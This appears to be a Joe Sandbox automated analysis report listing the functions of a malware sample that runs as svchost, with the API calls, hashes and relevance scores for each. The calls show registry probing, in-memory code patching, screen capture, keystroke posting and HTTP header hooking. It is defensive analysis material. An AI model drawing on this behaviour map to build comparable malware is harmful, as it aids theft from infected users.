                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1BAE7
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_0001C350,02D5A080,00000000,00000000), ref: 02D1BB80
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1BB98
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1BBA9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$BackslashCloseCreateInformationPathThread
                                                                                                                                                                                                            • String ID: 5C590552$keys$\t
                                                                                                                                                                                                            • API String ID: 3186380484-2108894918
                                                                                                                                                                                                            • Opcode ID: d961dd377982ddda4e549f492d146739303ecdc0271ae106878eba55fba8979f
                                                                                                                                                                                                            • Instruction ID: de5687e850901fcb84f0963b4f3664e5e608d408f1623ca32a542832ee096b83
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d961dd377982ddda4e549f492d146739303ecdc0271ae106878eba55fba8979f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 162148309042596BDB218F74B928BEE7BE4EF49308F2441C6E886D7780DBB19D08C794
                                                                                                                                                                                                            Function 02D15600 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 51registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D15628
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(02D1676C,a3b7fd77a,00000000,?,00000000,?), ref: 02D1566A
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(02D1676C), ref: 02D15674
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(-80000001), ref: 02D1563A
                                                                                                                                                                                                              • Part of subcall function 02D03600: IsUserAnAdmin.SHELL32 ref: 02D03608
                                                                                                                                                                                                              • Part of subcall function 02D03600: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,02D15686), ref: 02D0363F
                                                                                                                                                                                                              • Part of subcall function 02D03600: RegQueryValueExA.ADVAPI32(02D15686,a3b7fb90a,00000000,?,00000000,?), ref: 02D0365C
                                                                                                                                                                                                              • Part of subcall function 02D03600: RegCloseKey.ADVAPI32(02D15686), ref: 02D03666
                                                                                                                                                                                                              • Part of subcall function 02D03600: RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 02D03699
                                                                                                                                                                                                              • Part of subcall function 02D03600: RegQueryValueExA.ADVAPI32(?,a3b7fb90a,00000000,?,00000000,?), ref: 02D036B6
                                                                                                                                                                                                              • Part of subcall function 02D03600: RegCloseKey.ADVAPI32(?), ref: 02D036C0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: A3B7F2CEa$a3b7fd77a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-3319289815
                                                                                                                                                                                                            • Opcode ID: ffdfafc628ed2e45669cc06f77597a6d8013cb5209852c6c6eaba0a8a66761b1
                                                                                                                                                                                                            • Instruction ID: bd1b38ae792cbd7347aa38deb806f37146d2f886cd05582afafcd5176615d5e1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ffdfafc628ed2e45669cc06f77597a6d8013cb5209852c6c6eaba0a8a66761b1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B0018079E90209BBDB00DFF4EC45BAEB7B8EB08605F904648F515D6380E6789D048BA0
                                                                                                                                                                                                            Function 02D1A040 Relevance: 12.1, APIs: 8, Instructions: 139memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7591F550,00000000,75A7BD50,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A078
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D1A0A0
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(00000000,?,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A135
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000000,00000040,02D1938A,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A14A
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000000,02D1938A,?,?,?,00000000,00000000,?,?,?,?,?,?,02D1938A,00000000), ref: 02D1A17A
                                                                                                                                                                                                            • VirtualProtect.KERNEL32(?,00000000,02D1938A,?,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A186
                                                                                                                                                                                                              • Part of subcall function 02D1A1B0: WaitForSingleObject.KERNEL32(?,000003E8,00000000,02D1A193,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A1BC
                                                                                                                                                                                                              • Part of subcall function 02D1A1B0: GetProcessHeap.KERNEL32(00000008,00000030,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A1C6
                                                                                                                                                                                                              • Part of subcall function 02D1A1B0: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A1CD
                                                                                                                                                                                                              • Part of subcall function 02D1A1B0: memset.MSVCRT ref: 02D1A1DE
                                                                                                                                                                                                              • Part of subcall function 02D1A1B0: ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A22A
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000000,7591F550,00000000,75A7BD50,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A197
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,?,?,?,02D1938A,00000000,02D191E0,02D5A04C), ref: 02D1A19E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Virtual$Protect$AllocHeapProcess$CacheCurrentFlushInstructionMutexObjectReleaseSingleWaitmemcpymemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2609073853-0
                                                                                                                                                                                                            • Opcode ID: 1b46c906373b803aece6fb1fc0777dfd6eaf9180f4e03054f0a7eea7a0cd5065
                                                                                                                                                                                                            • Instruction ID: 9fc92f01692762fef0f584584fda940035e76476da3c4b6ad2ea3e1303fcbb11
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1b46c906373b803aece6fb1fc0777dfd6eaf9180f4e03054f0a7eea7a0cd5065
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6E413B7AA40216BBCB149E789C84FBABB6AEF54254F144129F94987388DA35ED01C7F0
                                                                                                                                                                                                            Function 02D2D827 Relevance: 12.1, APIs: 8, Instructions: 87stringfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • lstrlenW.KERNEL32(?,02D4AD0C,?,00000001,?), ref: 02D2D83C
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D2D856
                                                                                                                                                                                                            • lstrlenW.KERNEL32(?), ref: 02D2D865
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(000004E3,00000000,?,00000001,?,00000001,00000000,00000000), ref: 02D2D883
                                                                                                                                                                                                            • lstrlenW.KERNEL32(?), ref: 02D2D88C
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(000004E3,00000000,?,00000000,?,00000000,00000000,00000000), ref: 02D2D8AD
                                                                                                                                                                                                            • FindNextFileW.KERNEL32(?,?), ref: 02D2D8ED
                                                                                                                                                                                                            • FindClose.KERNEL32(?), ref: 02D2D8FC
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: lstrlen$ByteCharFindMultiWide$CloseFileNextmemcpy
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2429061842-0
                                                                                                                                                                                                            • Opcode ID: bcda8c133bad9a11d69bc3e8c57fd2ac21561f0ae83d49a257751615faba5266
                                                                                                                                                                                                            • Instruction ID: 6f14b718935c386871cc9a804d28cd67b55ade6c41b33b51603b39fa1456849d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bcda8c133bad9a11d69bc3e8c57fd2ac21561f0ae83d49a257751615faba5266
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F221BA725402257FEB20DBA0DC49FEB777DAB94704F104595B708DB180EB70AA49CFA4
                                                                                                                                                                                                            Function 004012E0 Relevance: 12.1, APIs: 8, Instructions: 84fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,00000000,755CDB30,?,00401E75,00000000), ref: 00401317
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00401E75,00000000), ref: 0040132C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00401E75,00000000), ref: 0040133B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,00000000,00401E75,00000000,?,00401E75,00000000), ref: 0040134D
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00401E75,00000000), ref: 0040135D
                                                                                                                                                                                                            • SetEndOfFile.KERNEL32(00000000), ref: 0040136A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 0040138C
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040139D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$Handle$CloseCreateInformationLockPointerUnlockWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1080409958-0
                                                                                                                                                                                                            • Opcode ID: 767d19d3de4797b5c71be3d902a88e0ab7c1d0a14529f93e3769efd59d7c6aec
                                                                                                                                                                                                            • Instruction ID: fc3a19f52fd50960abd89716b3b21a8dc97a86bf959a0b9d512ee5003149b17c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 767d19d3de4797b5c71be3d902a88e0ab7c1d0a14529f93e3769efd59d7c6aec
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0E21BE71A00204BBF7205B65DD4DFAB7A6CEBC1B51F148126FF00B66E0D7B84E81C6A8
                                                                                                                                                                                                            Function 02D0DAF0 Relevance: 12.1, APIs: 8, Instructions: 81windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0DB0C
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0DB0F
                                                                                                                                                                                                            • IsWindowVisible.USER32(00000000), ref: 02D0DB21
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02D0DB32
                                                                                                                                                                                                            • GetClassNameA.USER32(00000000,?,00000101), ref: 02D0DB4C
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000100,0000001B,00000000), ref: 02D0DBA6
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000101,0000001B,C01B0000), ref: 02D0DBB5
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02D0DBBA
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$MessagePost$ClassLongNameVisible
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4167699426-0
                                                                                                                                                                                                            • Opcode ID: 456e1b42c137db7e956eae5977c8e68d551927808a36fa8aff0dd2058d7e25b3
                                                                                                                                                                                                            • Instruction ID: 08823bf686245fd65e86189fad165a4efa1d5be8736db97cbf262968baa2b26c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 456e1b42c137db7e956eae5977c8e68d551927808a36fa8aff0dd2058d7e25b3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 55210535A803142BE730AE75ECD9FAB73B9EB09725F400616F645A63D0DBE49C50C5A4
                                                                                                                                                                                                            Function 02D08380 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetDC.USER32(00000000), ref: 02D08388
                                                                                                                                                                                                            • SelectObject.GDI32(?,00000000), ref: 02D083A8
                                                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 02D083B1
                                                                                                                                                                                                            • DeleteDC.GDI32(?), ref: 02D083BD
                                                                                                                                                                                                            • CreateCompatibleDC.GDI32(00000000), ref: 02D083F2
                                                                                                                                                                                                            • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02D08411
                                                                                                                                                                                                            • SelectObject.GDI32(?,00000000), ref: 02D08433
                                                                                                                                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 02D08441
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Object$CompatibleCreateDeleteSelect$BitmapRelease
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2733039346-0
                                                                                                                                                                                                            • Opcode ID: 68ed2c1efd38dedcd24ee2ffad25bded2da0b5650fb19aa62cea7f54794d8b4f
                                                                                                                                                                                                            • Instruction ID: 4861b50243a1e5de0368e0608db3e592b668834833db34114c3eefb1260b7c25
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 68ed2c1efd38dedcd24ee2ffad25bded2da0b5650fb19aa62cea7f54794d8b4f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5611E7B99813109FCB10DFA8F89CEA637E8AB8D6147544955E588C3321D6B8AC61CFA0
                                                                                                                                                                                                            Function 02D09990 Relevance: 10.7, APIs: 7, Instructions: 167synchronizationwindowkeyboardCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,?,?,02D09CF9,00000000,?,?,?,?,02D091A0,?,?), ref: 02D099F1
                                                                                                                                                                                                            • MapVirtualKeyW.USER32(00000000,00000000), ref: 02D09A0F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,?,?,?,?,02D09CF9,00000000,?,?,?,?,02D091A0,?,?), ref: 02D09ADF
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,?,?,?,?,02D09CF9,00000000,?,?,?,?,02D091A0,?,?), ref: 02D09B01
                                                                                                                                                                                                            • SendMessageA.USER32(?,0000E2AD,00000000,00000000), ref: 02D09B48
                                                                                                                                                                                                            • SendMessageW.USER32(?,?,00000003,00000000), ref: 02D09B6E
                                                                                                                                                                                                            • PostMessageW.USER32(?,00000101,?,?), ref: 02D09B7B
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Message$MutexReleaseSend$ObjectPostSingleVirtualWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3783495248-0
                                                                                                                                                                                                            • Opcode ID: 2099e53fdee3b743648f1694e6f1c65fbf6aec4b7ef04f0c6f2790f18f872f7d
                                                                                                                                                                                                            • Instruction ID: 4635c3f4ee518c46eb9d2475ed1864811cdd5e4eb50a30b14abec3e1659e0c14
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2099e53fdee3b743648f1694e6f1c65fbf6aec4b7ef04f0c6f2790f18f872f7d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 17512836A48380AFD721CF69A8A4BE67BD0DB46768F484589E8C1873E3C3B48D55D790
                                                                                                                                                                                                            Function 02D0C8C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindowVisible.USER32(02D0D04D), ref: 02D0C8DF
                                                                                                                                                                                                            • GetWindowInfo.USER32(02D0D04D,?), ref: 02D0C8F9
                                                                                                                                                                                                            • GetClassLongA.USER32(02D0D04D,000000E6), ref: 02D0C94E
                                                                                                                                                                                                            • PrintWindow.USER32(02D0D04D,?,00000000), ref: 02D0C967
                                                                                                                                                                                                            • BitBlt.GDI32(02D0CB32,?,?,?,?,75A8BCB0,00000000,00000000,00CC0020), ref: 02D0CA0E
                                                                                                                                                                                                              • Part of subcall function 02D0DA30: GetClassNameA.USER32(?,?,00000101), ref: 02D0DA46
                                                                                                                                                                                                              • Part of subcall function 02D0C700: SendMessageA.USER32(?,?,00000004,00000000), ref: 02D0C728
                                                                                                                                                                                                              • Part of subcall function 02D0C700: GdiFlush.GDI32(00000000,?,?,75A73EB0,?,?,?,02D090B9), ref: 02D0C73E
                                                                                                                                                                                                              • Part of subcall function 02D0C700: BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 02D0C764
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Class$FlushInfoLongMessageNamePrintSendVisible
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 2334662925-4251816714
                                                                                                                                                                                                            • Opcode ID: 1422cda1c632ef8470d61bf45382b4626e966364dce92d86e519eaf7a17dabd9
                                                                                                                                                                                                            • Instruction ID: 935768392a61746b23f24ee34a13bbd8403bd915c0ef03d53f0665bb17f637d7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1422cda1c632ef8470d61bf45382b4626e966364dce92d86e519eaf7a17dabd9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 97416871E10519AFCB14CF99D8C4BAEBBBAFF48345F64421AE409A7790D730AD51CBA0
                                                                                                                                                                                                            Function 02D057D0 Relevance: 10.6, APIs: 7, Instructions: 110synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05810
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D0583C
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D05863
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D05884
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(0000030C,000003E8), ref: 02D058B4
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(0000030C), ref: 02D058D5
                                                                                                                                                                                                            • SetLastError.KERNEL32(?), ref: 02D058EE
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2971961948-0
                                                                                                                                                                                                            • Opcode ID: 9fc4046682ca312e2ed09f6de5e11922ef73b475949195db62de0d501adcf4ca
                                                                                                                                                                                                            • Instruction ID: e4221a0a49dcd1dd74e6105e45361c8b3de5c0aaae0c03f1f293b1f3611cee40
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9fc4046682ca312e2ed09f6de5e11922ef73b475949195db62de0d501adcf4ca
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4141C475D40208EFDB40CFA9E984AADBBF5FB48310B94456AE904E7350E771AD01CF94
                                                                                                                                                                                                            Function 02D10AF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D10B23
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D10B4F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D10B76
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(?,?,?,A0000000), ref: 02D10BBC
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02D10BCF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$HeadersHttpRequest
                                                                                                                                                                                                            • String ID: Accept-Encoding:
                                                                                                                                                                                                            • API String ID: 853579731-3444961765
                                                                                                                                                                                                            • Opcode ID: 93934c96886794045a00a870da3442afa17be74aec044401d79a24b4575ff291
                                                                                                                                                                                                            • Instruction ID: 8886ed967339a63591b6d3874ce7ba02775527f8fbbf14e081cc3135b3e17e1e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 93934c96886794045a00a870da3442afa17be74aec044401d79a24b4575ff291
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5731FBB5D01219AFDB40DFA9E981EEEBBB9EF88314F50451AE914E3300E3745D41CBA0
                                                                                                                                                                                                            Function 02D109E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D10A13
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D10A3F
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(Function_000250A0,?,0000001C), ref: 02D10A66
                                                                                                                                                                                                            • HttpAddRequestHeadersW.WININET(?,?,?,A0000000), ref: 02D10AAC
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(?,Accept-Encoding:,00000012,A0000000), ref: 02D10ABF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: QueryVirtual$HeadersHttpRequest
                                                                                                                                                                                                            • String ID: Accept-Encoding:
                                                                                                                                                                                                            • API String ID: 853579731-3444961765
                                                                                                                                                                                                            • Opcode ID: 7491ee411e79634145fbb9a02be6b3877a92ea60d5590cec5318a6466e11c48b
